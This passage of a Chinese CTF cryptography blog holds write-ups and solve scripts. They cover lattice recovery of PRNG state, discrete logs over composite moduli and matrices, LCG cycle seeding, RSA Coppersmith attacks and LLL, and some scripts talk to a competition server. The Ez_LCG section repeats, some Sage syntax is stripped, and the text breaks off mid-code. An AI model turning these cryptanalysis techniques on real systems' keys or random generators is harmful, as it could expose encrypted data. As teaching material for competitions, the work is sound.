    print(f"C = {recovered_C}")
    print("="*50 + "\n")
    
    return recovered_C

# ================= 4. 主程序 =================
if __name__ == '__main__':
    hints = get_hints()
    C = recover_coefficients(hints)

拿到c后

from sage.all import *
from pwn import *

# ================= 参数保持不变 =================
m = 2147483647
n = 16
beta = 14
shift = 2**beta
# 你的系数
RECOVERED_C = [917898012, 28106733, 958044358, 1874624539, 1643434479, 
               2065268907, 1803916914, 220312944, 2114416305, 766033324, 
               1403211654, 1125402953, 1442047323, 1942246698, 2099402234, 1086003163]

context.log_level = 'info'

def get_hints():
    # io = process(["python3", "main.py"])
    io = remote("nc1.ctfplus.cn", 43119)
    
    # 获取足够多的样本，建议 50 个以保证约束力
    num_hints = 50 
    hints = []
    print(f"[*] Collecting {num_hints} hints...")
    for i in range(num_hints):
        io.sendlineafter(b">>> ", b"2")
        io.recvuntil(b"hint: ")
        hints.append(int(io.recvline().strip()))
    return io, hints

def recover_state(hints, C):
    print("[*] Recovering hidden low-bits (z) ...")
    
    samples = len(hints)
    
 
    # 构造转移矩阵 T
    T = Matrix(GF(m), n, n)
    for i in range(n-1): T[i, i+1] = 1
    for i in range(n): T[n-1, i] = C[i]
    
    M_gen = Matrix(GF(m), samples, n)

    print("[*] Using Error-Recovery Lattice Strategy (LWE style)...")
    
    # 1. 生成所有线性关系
    # s_k = \sum M_{k,j} s_j
    M_all = Matrix(GF(m), samples, n)
    A_all = vector(GF(m), samples) # 观测值 (hints << beta)
    
    T_curr = T
    for k in range(samples):
        row = T_curr.row(n-1)
        for j in range(n): M_all[k, j] = row[j]
        # 观测值中心化
        A_all[k] = hints[k] * shift + shift//2 
        T_curr = T_curr * T
    
    M0 = M_all[:n, :]
    M1 = M_all[n:, :]
    A0 = A_all[:n]
    A1 = A_all[n:]
    
    try:
        M0_inv = M0.inverse()
    except:
        print("[-] Matrix not invertible, need more samples or luck.")
        return None
        
    # 转移矩阵 U = M1 * M0^{-1}
    U = M1 * M0_inv
    
    # 常数项 V = A1 - U * A0
    V = A1 - U * A0
    

    
    dim_eq = samples - n
    dim_vars = samples
    dim_total = dim_eq + dim_vars + 1
    
    L = Matrix(ZZ, dim_total, dim_total)
    
    # 1. Modulo constraints for equations
    for i in range(dim_eq):
        L[i, i] = m
        
    for i in range(n):
        # Fill H^T part (which corresponds to columns of U)
        for k in range(dim_eq):
            L[dim_eq + i, k] = int(U[k, i])
        L[dim_eq + i, dim_eq + i] = 1 # Measure length of e_i
        
    for i in range(dim_eq):
        row_idx = dim_eq + n + i
        L[row_idx, i] = -1 # The -I part of H
        L[row_idx, row_idx] = 1 # Measure length
        
    # 3. Target
    for k in range(dim_eq):
        L[dim_total-1, k] = -int(V[k])
    L[dim_total-1, dim_total-1] = shift # Weight for the '1'
    
    print(f"[*] Lattice built. Dimension: {dim_total}. Solving for errors...")
    
    L_red = L.BKZ(block_size=20) # Use BKZ for better quality
    
    for row in L_red:
        if abs(row[dim_total-1]) == shift:
            print("[+] Found potential error vector!")
            # Extract errors
            errors = []
            sign = 1 if row[dim_total-1] > 0 else -1
            
            # The middle block (dim_vars size) contains the errors
            for i in range(dim_vars):
                val = row[dim_eq + i] * sign
                errors.append(val)
                
            # Check if errors are small
            # They should be around [-shift/2, shift/2]
            if all(abs(e) < shift for e in errors):
                print(f"[+] Errors are small: {errors[:5]}...")
                
                # Recover s_init using s = M0^{-1} (A0 + e_top)
                # e_top is errors[:n]
                e_top = vector(GF(m), errors[:n])
                s_recovered = M0_inv * (A0 + e_top)
                
                # Verify
                s_list = [int(x) for x in s_recovered]
                print(f"[+] Recovered State: {s_list}")
                return sum(s_list)
            else:
                # pass
                continue
                
    return None

if __name__ == '__main__':
    # 建立连接
    io, hints = get_hints()
    
    # 恢复系数 (使用硬编码的 C)
    print(f"[*] Using recovered coefficients: {RECOVERED_C}")
    
    # 恢复状态 (使用 LWE/Lattice 策略)
    ans = recover_state(hints, RECOVERED_C)
    
    if ans:
        print(f"\n[SUCCESS] Calculated sum: {ans}")
        
        # 发送选项 1
        io.sendlineafter(b">>> ", b"1")
        
        # 发送答案
        io.sendlineafter(b"answer: ", str(ans).encode())
        
        # [关键修改] 不要使用 interactive()
        # 直接读取剩余的所有输出（包含 Flag），解码后打印
        try:
            flag_data = io.recvall(timeout=2) # 设置超时防止卡死
            print("\n" + "="*30)
            print("SERVER RESPONSE (FLAG):")
            print(flag_data.decode(errors='ignore'))
            print("="*30 + "\n")
        except Exception as e:
            print(f"Error reading flag: {e}")
            
        io.close()
    else:
        print("[-] State recovery failed.")
        io.close()

DLP-s

2026-02-15T02:22:24.000Z

DLP问题

打个比赛碰到了一万种题型，每一种都是牢底坐穿，整合一下吧

问题描述

DLP的目标是在给定群体 $G$ 和生成元 $g$ 的情况下，找到一个 $x$ ，使得

g^x \equiv h \ (\text{mod} \ p)

其中， $p$ 是一个素数， $g$ 是生成元， $h$ 是已知的值， $x$ 是我们要解决的离散对数。

常规方法：

1. 整数域的离散对数：

暴力搜索
Baby-step Giant-step 算法
Pollard’s Rho 算法
Pohlig-Hellman 算法

在 CTF 实战中，通常不需要手搓实现算法。SageMath 是处理离散对数最核心的工具。它的 discrete_log 函数会自动根据传入的群结构和阶数特征，选择最优的算法。

但是根据实际问题往往直接调用 SageMath 的 discrete_log 函数是没有结果的需要我们手动调整策略

2. 矩阵离散对数：

如果矩阵可对角化：

A = P D P^{-1}

其中

D = \text{diag}(\lambda_1,\dots,\lambda_n)

那么：

A^x = P D^x P^{-1}

而

D^x = \text{diag}(\lambda_1^x,\dots,\lambda_n^x)

于是：

B = A^x

等价于

\lambda_i^x = \mu_i

其中 $\mu_i$ 是 $B$ 的特征值。
可以随便取一组数据运算
2. 如果矩阵不可对角化：
- Jordan 标准形(用的不多)
- 更常见但更局限：行列式降维打击
利用：

\det(A^k) = \det(A)^k

于是：

\det(B) = \det(A)^k

问题瞬间降级为：

k = \log_{\det(A)}(\det(B))

模 $p^2$ 下展开 $(I+pX)^k$

case:

实际问题

unictf

from Crypto.Util.number import *


flag = b'UniCTF{???}'
m = bytes_to_long(flag)
n = 20416580311348568104958456290409800602076453150746674606637172527592736894552749500299570715851384304673805100612931000268540860237227126141075427447627491168
print(pow(7,m,n))
# c = 8195229101228793312160531614487746122056220479081491148455134171051226604632289610379779462628287749120056961207013231802759766535835599450864667728106141697

分析

问题就要是解方程

c \equiv 7^m \pmod n

直接 discrete_log 肯定不行， $n$ 不是一个素数，而是一个大合数
结合同余的性质，可以考虑分解因子n，拆分同余方程后再使用中国剩余定理求解

1.

n = 2^5 \cdot 3^2 \cdot p_3 \cdot p_4^3 \cdot P_{big}

拆分同余方程,对每个质因数幂 $p_i^{e_i}$
求解:

7^{x_i} \equiv c \pmod{p_i^{e_i}}

得到 $m \equiv x_i \pmod{order_i}$
3. 使用中国剩余定理合并结果

注意：这里的 $order_i$ 是底数 7 在模 $p_i^{e_i}$ 下的乘法阶。由于这些阶通常不互质（都是偶数），必须使用扩展的 CRT（处理非互质模数）来求解

2^5 ，3^2, $p_3$ 小因子及p-1光滑的 $p_{big}$ 可以直接在sagemath里discrete_log函数求解
对于 $p_2$ 的方法则是先求出 $7^{m_2} \equiv c \pmod {p_2}$ 再去升次
完成后在crt合并就好

exp

from sage.all import *
from Crypto.Util.number import long_to_bytes

# ================= 题目数据 =================
n = 20416580311348568104958456290409800602076453150746674606637172527592736894552749500299570715851384304673805100612931000268540860237227126141075427447627491168
c = 8195229101228793312160531614487746122056220479081491148455134171051226604632289610379779462628287749120056961207013231802759766535835599450864667728106141697

p1 = 10711086940911733573
p2 = 188455199626845780197
p3 = 988854958862525695246052320176260067587096611000882853771819829938377275059

#p2笔者选择单独处理
factors = [2**5, 3**2, p1, p3]

# ================= 求解过程 =================

remainders = []
moduli = []

for factor in factors:
    R = Integers(factor)
    g_val = R(7)
    c_val = R(c)
        
    # 求阶
    order = g_val.multiplicative_order()
        
    # 求解离散对数
    dlog = discrete_log(c_val, g_val, ord=order)
        
    remainders.append(dlog)
    moduli.append(order)

# 手动处理 p2^3 的部分 
R = Integers(p2)
g_val = R(7)
c_val = R(c)
order = g_val.multiplicative_order()

dlog = discrete_log(c_val, g_val, ord=order)
def linear_lift(g, c, p, k):
    """
    功能: 求解 g^x = c mod p^k
    原理: 先求 x0 = dlog(c) mod p, 然后线性提升到 p^k
    """
    # 1. 基础解: mod p
    x = discrete_log(GF(p)(c), GF(p)(g))
    
    # 2. 线性提升: 逐层修正
    # 每一层修正量 d 满足线性方程: d * alpha = beta mod p
    for i in range(1, k):
        mod = p**(i+1)
        
        # 计算当前偏差 beta = L(c * g^-x)
        # 即 (c / g^x - 1) / p^i
        curr_val = power_mod(g, x, mod)
        chk = (c * inverse_mod(curr_val, mod)) % mod
        beta = (chk - 1) // p**i
        
        # 计算梯度 alpha = L(g^phi_prev)
        # 即 (g^((p-1)p^(i-1)) - 1) / p^i
        step_pow = (p-1) * p**(i-1)
        base = power_mod(g, step_pow, mod)
        alpha = (base - 1) // p**i
        
        # 解 d 并更新 x
        d = (beta * inverse_mod(alpha, p)) % p
        x += d * step_pow
        
    return x

m4 = linear_lift(7, c, p2, 3)
print(f'{m4}')
remainders.append(m4)

'''
据说sage好像可以自动升次？？？
但笔者这里的是ai梭的 p-adic
'''

#计算 p2^3 对应阶
p2_pow_3 = p2**3
order_p2 = Integers(p2_pow_3)(7).multiplicative_order()
moduli.append(order_p2)
print(f"解: {remainders}")
print(f"模: {moduli}")
        

#crt部分

m = crt(remainders, moduli)
print(f"m: {m}")
    
flag = long_to_bytes(m)
print(f"\n{flag.decode()}")


'''
3607318467090477073783352030357123895792830141955325751309814
解: [0, 1, 1224347636342905336, 106155541015491325739788391904987578874651584430962292283925150916550296688, 3607318467090477073783352030357123895792830141955325751309814]
模: [4, 3, 1785181156818622262, 988854958862525695246052320176260067587096611000882853771819829938377275058, 3346527342866541318314435408576449342128783035050376199173282]
m: 4474399909953905361921883374365168306769114394248549045511770939283217915925636422542946623049100947407711381893061133594122679245785692770312361479241728

UniCTF{Th1s_DLP_probl3m_i5_v3ry_s1mpl3_f0r_y0u!!!}

'''

这题集合了很多DLP问题的常规考点，包括因子分解、同余方程求解、中国剩余定理等。

hgame

from Crypto.Util.number import long_to_bytes, getPrime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from base64 import b64encode
import hashlib
from sage.all import *
from secret import getRandomMatrix

with open('flag.txt', 'rb') as f:
    flag = pad(f.read(), AES.block_size)

# Want to factor n? I've already done it! Get it yourself.
n = 144709507748526661267852152217031923282704243254105275252262414154410511284347828603240755427862752297392095652561239549522158121842455510674435510821274029842500154931546666242034086499872050823824437303603895977092291834159890433746969317535636398062008995784281741721729948231010601796589449187553147904043991226174291329
a = Matrix(Zmod(n), getRandomMatrix())

k = getPrime(1000)
b = a ** k

data = [n, a, b]
save(data, "data.sobj")

key = hashlib.md5(long_to_bytes(k)).digest()

cipher = AES.new(key, AES.MODE_ECB)
ciphertext = cipher.encrypt(flag)

print(b64encode(ciphertext).decode())
# ieJNk5335o9lCy6Ar2XymrDy+HVHcQhikluNSra0kBafw1WDCyyuNPkLACeBsavy

分析

这题也是一个DLP问题，要求解 $a^k = b \pmod{n}$ 中的 $k$ 。但此处 $a,b$ 都是矩阵
先按提示将n分解为 $p, q$
分别求解 $a^k = b \pmod{p}$ 和 $a^k = b \pmod{q}$ 中的 $k$ 再CRT合并

$a^k = b \pmod{p}$ 处理：
此处矩阵可对角化
所以我们直接取一组特征值运算即可
问题变成：

\lambda_i^k = \mu_i

$a^k = b \pmod{q}$ 处理:
此处求 $a$ 特征值时会报错，因为这里的 $a$ 无法对角化
要转换思路 $→$ 行列式降维打击

\det(A^k) = \det(A)^k

于是：

\det(B) = \det(A)^k

问题瞬间降级为整数域的离散对数为：

k = \log_{\det(A)}(\det(B))

exp

from sage.all import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes
import hashlib
from base64 import b64decode

factors = [ 
    282964522500710252996522860321128988886949295243765606602614844463493284542147924563568163094392590450939540920228998768405900675902689378522299357223754617695943,
    511405127645157121220046316928395473344738559750412727565053675377154964183416414295066240070803421575018695355362581643466329860038567115911393279779768674224503
]

data = load("data.sobj")
_, A, B = data[0], data[1], data[2]

rems = []  # 保存每个p下得到的k mod order的结果（余数）
mods = []  # 保存每个p下的order（模数）

for p in factors:
    print(f"\n[*] 正在处理因子: {p}")
    Fp = GF(p)  # 构造有限域GF(p)（模p的整数域）
    Mat_p = MatrixSpace(Fp, A.nrows(), A.ncols())  # 构造GF(p)上的矩阵空间（和A同维度）
    A_p = Mat_p(A)  # 将矩阵A转换到GF(p)上（每个元素模p）
    B_p = Mat_p(B)  # 同理处理矩阵B
    
    # 步骤1：计算A_p的特征多项式和根
    char_poly = A_p.charpoly()  # 求A_p的特征多项式
    roots = char_poly.roots()  # 求特征多项式在GF(p)上的根（特征值）
    roots_count = sum([multiplicity for root, multiplicity in roots])  # 所有根的重数之和

    # 情况1：矩阵可对角化（特征值数量=矩阵维度），用特征值法
    if roots_count == A_p.nrows() and A_p.is_diagonalizable():
        eig_A = A_p.eigenvalues()[0]  # 取A_p的第一个特征值（核心：A^k的特征值=A特征值的k次幂）
        eig_B = B_p.eigenvalues()[0]  # 同理取B_p的第一个特征值
        # 离散对数：求k使得 (eig_A)^k = eig_B（因为B=A^k，所以特征值满足这个关系）
        k_mod = discrete_log(eig_B, eig_A)
        order = eig_A.multiplicative_order()  # 求eig_A的乘法阶（满足x^order ≡ 1 mod p的最小正整数）
        rems.append(k_mod)
        mods.append(order)
        print(f"k mod {order} = {k_mod}")
        
    # 情况2：矩阵不可对角化，用行列式法（降级处理）
    else:
        det_A = A_p.det()  # 求A_p的行列式（矩阵行列式的k次幂=矩阵k次幂的行列式）
        det_B = B_p.det()  # 求B_p的行列式
        # 离散对数：求k使得 (det_A)^k = det_B
        k_mod = discrete_log(det_B, det_A)
        order = det_A.multiplicative_order()  # 求det_A的乘法阶
        rems.append(k_mod)
        mods.append(order)
        print(f"k mod {order} = {k_mod}")      
k = crt(rems, mods)


key = hashlib.md5(long_to_bytes(int(k))).digest()
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = b64decode("ieJNk5335o9lCy6Ar2XymrDy+HVHcQhikluNSra0kBafw1WDCyyuNPkLACeBsavy")


flag = unpad(cipher.decrypt(ciphertext), AES.block_size)
print(flag.decode())

其实这里也可以 $pq$ 两个因子都取行列式计算

from sage.all import *
from Crypto.Util.number import *
import hashlib
from Crypto.Cipher import AES
from base64 import b64decode

data = load('data.sobj')
n = data[0]
a = data[1]
b = data[2]

p = 282964522500710252996522860321128988886949295243765606602614844463493284542147924563568163094392590450939540920228998768405900675902689378522299357223754617695943
q = 511405127645157121220046316928395473344738559750412727565053675377154964183416414295066240070803421575018695355362581643466329860038567115911393279779768674224503

factors = [p,q]
remainders = []
moduli = []

for factor in factors:
    R = Integers(factor)
    g_val = R(a.det())
    c_val = R(b.det())
    order = g_val.multiplicative_order()
    dlog = discrete_log(c_val, g_val, ord=order)
    print(f'{dlog}')
    remainders.append(dlog)
    moduli.append(order)

k = crt(remainders, moduli)

key = hashlib.md5(long_to_bytes(int(k))).digest()
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = b64decode("ieJNk5335o9lCy6Ar2XymrDy+HVHcQhikluNSra0kBafw1WDCyyuNPkLACeBsavy")


flag = unpad(cipher.decrypt(ciphertext), AES.block_size)
print(flag.decode())

hgame2

from Crypto.Util.number import long_to_bytes, getPrime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from base64 import b64encode
import hashlib
from sage.all import *
from secret import getRandomMatrix, get_random_prime

with open('flag.txt', 'rb') as f:
    flag = pad(f.read(), AES.block_size)

p = get_random_prime()
q = get_random_prime()
n = p * p

a = Matrix(Zmod(n), getRandomMatrix())

k = getPrime(660)
b = a ** k

data = [n, a, b]
save(data, "data.sobj")

key = hashlib.md5(long_to_bytes(k)).digest()

cipher = AES.new(key, AES.MODE_ECB)
ciphertext = cipher.encrypt(flag)

print(b64encode(ciphertext).decode())
# Q3UBa1pz1fi35L94peaFbPvpQe4UyXOUif3CKS/CmZdXOiV7bA5NNNjJ1KeUiAFE

分析

先看n: $n = p*p$ ，继续分解p
用 $Pollard's Rho$ 撞出一个因子: 688465747867,继续分解无果
那么前面 $PohligHellman$ 的方法就不能用了，而且 $det(a) = 1$ 也直接毙掉了靠行列式逃课的方法
688465747867并不大，可以直接得到 $k(mod 688465747867)$

这里要转换思路
首先证明：

\log(1 + p\alpha) \equiv p\alpha \pmod{p^2}

根据 p-adic 对数的展开式：

\log(1 + p\alpha) = p\alpha - \frac{(p\alpha)^2}{2} + \frac{(p\alpha)^3}{3} - \cdots

在模 $p^2$ 下， $p^2 \equiv 0 \pmod{p^2}$ ，这些项会直接消失。

exp

from sage.all import *
import math
import base64
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes
import hashlib
from base64 import b64decode


data = load('data.sobj')
n = data[0]
a = data[1]
b = data[2]

p = math.isqrt(n)
print(p)
P = Zp(p, prec=2)
f_A_high = a.charpoly().change_ring(ZZ).change_ring(P)
f_B_high = b.charpoly().change_ring(ZZ).change_ring(P)
la_high = f_A_high.roots(multiplicities=False)[0]
mu_high = f_B_high.roots(multiplicities=False)[0]
order = p - 1
k_=int(((mu_high**order).log() / (la_high**order).log()).lift())

sm_p = 688465747867
la_val = int(la_high.lift())
mu_val = int(mu_high.lift())

power = int(p * ((p - 1) // sm_p))
R = Integers(p**2)
step = p * sm_p

mu_high = f_B_high.roots(multiplicities=False)[0]
mu_val = int(mu_high.lift())
H = R(mu_val) ** power

la_roots = f_A_high.roots(multiplicities=False)

found_k = False

for root_idx, la_high in enumerate(la_roots):

    # 1. 计算 p-adic 大部头的 k_ (主体部分)
    order = p - 1
    k_ = int(((mu_high**order).log() / (la_high**order).log()).lift())
    
    # 2. 计算 sm_p 小群的 k_sm
    la_val = int(la_high.lift())
    G = R(la_val) ** power
    k_sm = discrete_log(H, G, ord=sm_p)
    
    # 3. CRT 拼接基准 res
    res = crt([k_, k_sm], [p, sm_p])
    
    # 4. 爆破验证
    for i in range(2**10):
        k_guess = res + i * step
        if a**k_guess == b:
            print(f"爆破成功")
            print(f"k1: {k_guess}")
            found_k = True
            break
            
    if found_k:
        break


print(f"k2: {res}")
for i in range(2**10):
    k_=res+i*p*sm_p
    if a**k_==b:
        print(i)
        res=k_
        break
print(res)

ct_b64 = "Q3UBa1pz1fi35L94peaFbPvpQe4UyXOUif3CKS/CmZdXOiV7bA5NNNjJ1KeUiAFE"

ct = base64.b64decode(ct_b64)
key = hashlib.md5(long_to_bytes(res)).digest()
pt = unpad(AES.new(key, AES.MODE_ECB).decrypt(ct), 16)
print(pt.decode())

0xgame部分题目复现

2026-01-12T04:57:07.000Z

0xgame

题目:Ez_LCG

#!/usr/local/bin/python
from Crypto.Util.number import *
from secret import flag
import random


class LCG():
    def __init__(self, a, b, m, seed):
        self.a = a
        self.b = b
        self.m = m
        self.state = seed

    def next(self):
        self.state = (self.a * self.state + self.b) % self.m
        return self.state


class RNG():
    def __init__(self, coefficients, seed, MOD=2**20):
        self.coefficients = coefficients
        self.state = seed
        self.f = lambda x: sum(c * (x ** i) for i, c in enumerate(coefficients)) % MOD

    def next(self):
        self.state = self.f(self.state)
        return self.state

    def next_n(self, n):
        for _ in range(n):
            self.next()
        return self.state


def encrypt_flag(flag):
    coefficients = [random.randint(1, 2**20) for _ in range(10)]
    print("Generated coefficients:", coefficients)
    seed = input("Set seed for RNG: ")
    rng = RNG(coefficients, int(seed))
    assert rng.next() != rng.next(), "Weak seed"
    a, b = [rng.next_n(random.randint(1, 1024)) for _ in range(2)]
    encs = []
    for i in flag:
        lcg = LCG(a, b, 2**32 + 1, i)
        for _ in range(random.randint(1, 1024)):
            enc = lcg.next()
        encs.append(enc)
    return encs


assert flag.startswith(b"0xGame{") and flag.endswith(b"}")
flag = flag[7:-1]

print(f"Encrypted flag: {encrypt_flag(flag)}")

解答

首先要理解一下
rng是为生成a,b服务的
只要能理解RNG的输出是可以循环就好说了

为啥会循环？

模 2^20 意味着状态空间是 2^20 ≈ 1,048,576
每次next()调用都会根据当前state计算唯一确定的下一个state（通过多项式函数f(x)）
根据鸽巢原理：当调用next()的次数超过状态空间大小（1048576 次）时，必然会出现重复的state

虽然这个状态空间看似很大，但是我们可以选取合适的seed来达到找一个小循环的目的

服务器给出因子coefficients
如何找合适的seed呢？爆破！

def list_ring(x0):
    lis = [x0]
    while len(lis) <= 3:
        x = f(lis[-1])
        if x in lis:
            return lis
        lis.append(x)

for i in range(MOD):
    if res := list_ring(i):
        print(res)
        print(len(res))
        break

那么a，b都是可以遇见的了
使用组合去尝试就好

for a, b in product(res, res)

完整代码

from itertools import product
from Crypto.Util.number import *
from ast import literal_eval
from pwn import *

context(log_level='debug')
io = remote('nc1.ctfplus.cn',xxxxx)
io.recvuntil(b"Generated coefficients: ")
coefficients = literal_eval(io.recvline().strip().decode())
MOD = 2**20
f = lambda x: sum(c * (x ** i) for i, c in enumerate(coefficients)) % MOD

def list_ring(x0):
    lis = [x0]
    while len(lis) <= 3:
        x = f(lis[-1])
        if x in lis:
            return lis
        lis.append(x)

for i in range(MOD):
    if res := list_ring(i):
        print(res)
        print(len(res))
        break

io.recvuntil(b"Set seed for RNG: ")
io.sendline(str(res[0]).encode())

io.recvuntil(b"Encrypted flag: ")
encs = literal_eval(io.recvline().strip().decode())

def decrypt(a, b, encs):
    MOD = 2**32 + 1
    flag = ""
    for enc in encs:
        state = enc
        found = False
        for i in range(1,1025):
            state = (state - b) * pow(a, -1, MOD) % MOD
            if 32 <= state <= 126: 
                flag += chr(state)
                found = True
                break
        if not found:
            return None
    return flag

for a, b in product(res, res):
    flag = decrypt(a, b, encs)
    if flag:
        print(f"0xGame{{{flag}}}")

题目:Ez_LCG

解答

抛砖引玉QwQ

rng是为生成a,b服务的
只要能理解RNG的输出是可以循环就好说了

为啥会循环？

模 2^20 意味着状态空间是 2^20 ≈ 1,048,576
每次next()调用都会根据当前state计算唯一确定的下一个state（通过多项式函数f(x)）
根据鸽巢原理：当调用next()的次数超过状态空间大小（1048576 次）时，必然会出现重复的state
虽然这个状态空间看似很大，但是我们可以选取合适的seed来达到找一个小循环的目的

服务器给出因子coefficients
如何找合适的seed呢？爆破！


def list_ring(x0):
    lis = [x0]
    while len(lis) <= 3:
        x = f(lis[-1])
        if x in lis:
            return lis
        lis.append(x)

for i in range(MOD):
    if res := list_ring(i):
        print(res)
        print(len(res))
        break

那么a，b都是可以遇见的了
使用组合去尝试就好

for a, b in product(res, res)


完整代码

from itertools import product
from Crypto.Util.number import *
from ast import literal_eval
from pwn import *

context(log_level='debug')
io = remote('nc1.ctfplus.cn',xxxxx)
io.recvuntil(b"Generated coefficients: ")
coefficients = literal_eval(io.recvline().strip().decode())
MOD = 2**20
f = lambda x: sum(c * (x ** i) for i, c in enumerate(coefficients)) % MOD

def list_ring(x0):
    lis = [x0]
    while len(lis) <= 3:
        x = f(lis[-1])
        if x in lis:
            return lis
        lis.append(x)

for i in range(MOD):
    if res := list_ring(i):
        print(res)
        print(len(res))
        break

io.recvuntil(b"Set seed for RNG: ")
io.sendline(str(res[0]).encode())

io.recvuntil(b"Encrypted flag: ")
encs = literal_eval(io.recvline().strip().decode())

def decrypt(a, b, encs):
    MOD = 2**32 + 1
    flag = ""
    for enc in encs:
        state = enc
        found = False
        for i in range(1,1025):
            state = (state - b) * pow(a, -1, MOD) % MOD
            if 32 <= state <= 126: 
                flag += chr(state)
                found = True
                break
        if not found:
            return None
    return flag

for a, b in product(res, res):
    flag = decrypt(a, b, encs)
    if flag:
        print(f"0xGame{{{flag}}}")

题目:Copper!!!.

from Crypto.Util.number import *
from secret import flag

m = bytes_to_long(flag)


p = getPrime(512)
q = getPrime(512)
n = p * q
e = 65537
c = pow(m, e, n)
print(f"n = {n}")
print(f"c = {c}")
print(f"gift = {p >> 242 << 242}")

# n = 92873040755425037862453595432032305849700597051458113741962060511759338242511707376645887864988028778023918585157853023538298808432423892753226386473625357887471318145132753202886684219309732628049959875215531475307942392884965913932053771541589293948849554008069165822411930991003624635227296915315188938427
# c = 78798946231057858237017891544035026520248922588969396262361286907576401467816384819451190528802344534495780520382462432888103466971743435370588783181267466189564132373143717299869053172848786781320750631382630113459268771330862538801774075395201914653025347332312015985213462835680853607187971669296490439714
# gift = 10911712225716809560802315710689854621004330184657267444255298781464639032414821020145885934381310240257843204972266622870698161556175406337237650652528640

解答

p高位泄露，用Coppersmith求解就好

from gmpy2 import *
from Crypto.Util.number import *

n = 92873040755425037862453595432032305849700597051458113741962060511759338242511707376645887864988028778023918585157853023538298808432423892753226386473625357887471318145132753202886684219309732628049959875215531475307942392884965913932053771541589293948849554008069165822411930991003624635227296915315188938427
c = 78798946231057858237017891544035026520248922588969396262361286907576401467816384819451190528802344534495780520382462432888103466971743435370588783181267466189564132373143717299869053172848786781320750631382630113459268771330862538801774075395201914653025347332312015985213462835680853607187971669296490439714
p = 10911712225716809560802315710689854621004330184657267444255298781464639032414821020145885934381310240257843204972266622870698161556175406337237650652528640

PR. = PolynomialRing(Zmod(n))

f = p+x
res = f.small_roots(X=2^242, beta=0.5, epsilon=0.02)
p = int(res[0]) + p
q = n // p
print(q)
d = inverse_mod(65537, (p-1)*(q-1))
m = power_mod(c, d, n)
print(long_to_bytes(m))

题目:Mid_LLL

import random
from secret import flag
from sympy import Matrix
from Crypto.Util.number import *


msg = [i for i in flag]


def generate_matrix(n, p):
    matrix = []
    for _ in range(n):
        row = [random.randint(0, p) for _ in range(n)]
        matrix.append(row)
    return matrix


matrix = generate_matrix(len(msg), 2**128)
matrix[0] = msg
matrix = Matrix(matrix)

noise = Matrix(generate_matrix(len(msg), 2**128))

with open("./output.txt", "w") as f:
    f.write(str((noise * matrix).tolist()))

解答

先看看代码里发生了什么：

$R = N \times M$ $R = N \times M$
- $N$ (noise)：一个全是 $2^{128}$ 大小随机数的矩阵。
- $M$ (matrix)：第一行是 Flag（ASCII 码，数值很小， $<128$ ），其余行是 $2^{128}$ 大小的随机数。
- $R$ (output)：我们拿到的结果矩阵。
目标：从 $R$ 中还原 $M$ 的第一行（即 Flag）。

关键在于结合线性代数不难发现： $R$ 的每一行都是 $M$ 的行的线性组合：

R_{row_i} = N_{i,0} \cdot \text{Flag} + N_{i,1} \cdot M_{row_1} + \dots

这里是不是就很熟悉了？构造一个格 $M$ ,对 $M$ 做一个LLL也许就可以得到答案！

output = ...
aaa = Matrix(ZZ, output)
L = aaa.LLL()
print(g:=GCD(L[0]))
print(lis:=list(map(abs, L[0]/g)))
print("".join(map(chr, lis)))

题目:Where is my public Key

一个 $e$ 未知的rsa加密黑箱

解答

c \equiv m^e \pmod{n}

m可以自定义，c与n已知
题目便成为了一个离散对数问题，此时注意到 $p-1$ 永远光滑，此时便可以确定使用 $Pohlig-Hellman$ 方法解决但是此处不需要我们手搓，直接用sagemath里包装好就好

#与服务器交互拿到数据
#为简化计算我们打一个m = 2交给靶机交互，拿到c
from Crypto.Util.number import *
from gmpy2 import *

c1 = 1004110357630545817311074765090693459204040033207755011932094275908555203208034259186627539702760517778222622235294948447821410668911086052956891332665832
p = 78646795385241335466971628111322052062110333388784897992869461989103306932403
q = 112215922938327387909468272953228363870450000556239972267568652798377484240491
F = Zmod(p*q)
e = discrete_log(F(c), F(2), ord=(p-1)*(q-1))
print(e)

拿到e就好说了

xyctf某题

2026-01-03T06:57:18.000Z

xyctf wp

题目:

from Crypto.Util.number import *
import hashlib
from secrets import flag

def hash(x):
    return hashlib.sha256(x.encode()).digest()


def pad(message):
    return message + hash(str(len(message)))


m = bytes_to_long(pad(flag))
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p * q
e = 3
print(pow(m, e, n))
print(n)

# 41114240955577895103973182354616009257350212064482446025812858566641718381281218093994896700140767635266663377586425898558099315375553287958882025958109765566681623453728472370134625131536739144226158625954308078356427514247684404989496475452898609058386951475642649945178862199599374503811829039930846383007
# 153611702524335217024082326953693564399200168431497676063243900319357738300910784986132296026672110090806387676146514812317915651361459828009371616376752560815339546667911601417645293846075664447051809094013783298133615995661317584721185010884267772902669067055126312676803092840020450000172246840643192188661

分析：

1.看一下m的组成 $m = x \cdot 2^{256} + \text{h\_val}$

这里的 $x$ 就是我们要找的 flag，而 h_val 是后面那一串已知的哈希值。

2.再来看看这个哈希函数

哈希函数的结果取决于 len(flag)，而flag长度是这个不大的值
看到这里笔者突然想到一句话：

密码学题目中，不大的值都可以当作已知

而h_val已知的情况下，题目便演变成了m低位泄露
我们去遍历flag长度得到哈希值。
再尝试Coppersmith求解就好

import hashlib
from Crypto.Util.number import long_to_bytes

def get_hash(l):
    h = hashlib.sha256(str(l).encode()).digest()
    return int.from_bytes(h, 'big')

n = 153611702524335217024082326953693564399200168431497676063243900319357738300910784986132296026672110090806387676146514812317915651361459828009371616376752560815339546667911601417645293846075664447051809094013783298133615995661317584721185010884267772902669067055126312676803092840020450000172246840643192188661
c = 41114240955577895103973182354616009257350212064482446025812858566641718381281218093994896700140767635266663377586425898558099315375553287958882025958109765566681623453728472370134625131536739144226158625954308078356427514247684404989496475452898609058386951475642649945178862199599374503811829039930846383007
e = 3

P. = PolynomialRing(Zmod(n))

# 通常 flag 长度在 10 到 60 之间
for L in range(10, 70):
    h_val = get_hash(L)
    shift = 2^256
    
    # 构造原始多项式
    f = (x * shift + h_val)^e - c
    
    # 【关键步骤】使其变为首一多项式 (Monic)
    # 找到最高次项系数在模 n 下的逆元
    coeff = f.coefficients()[-1] 
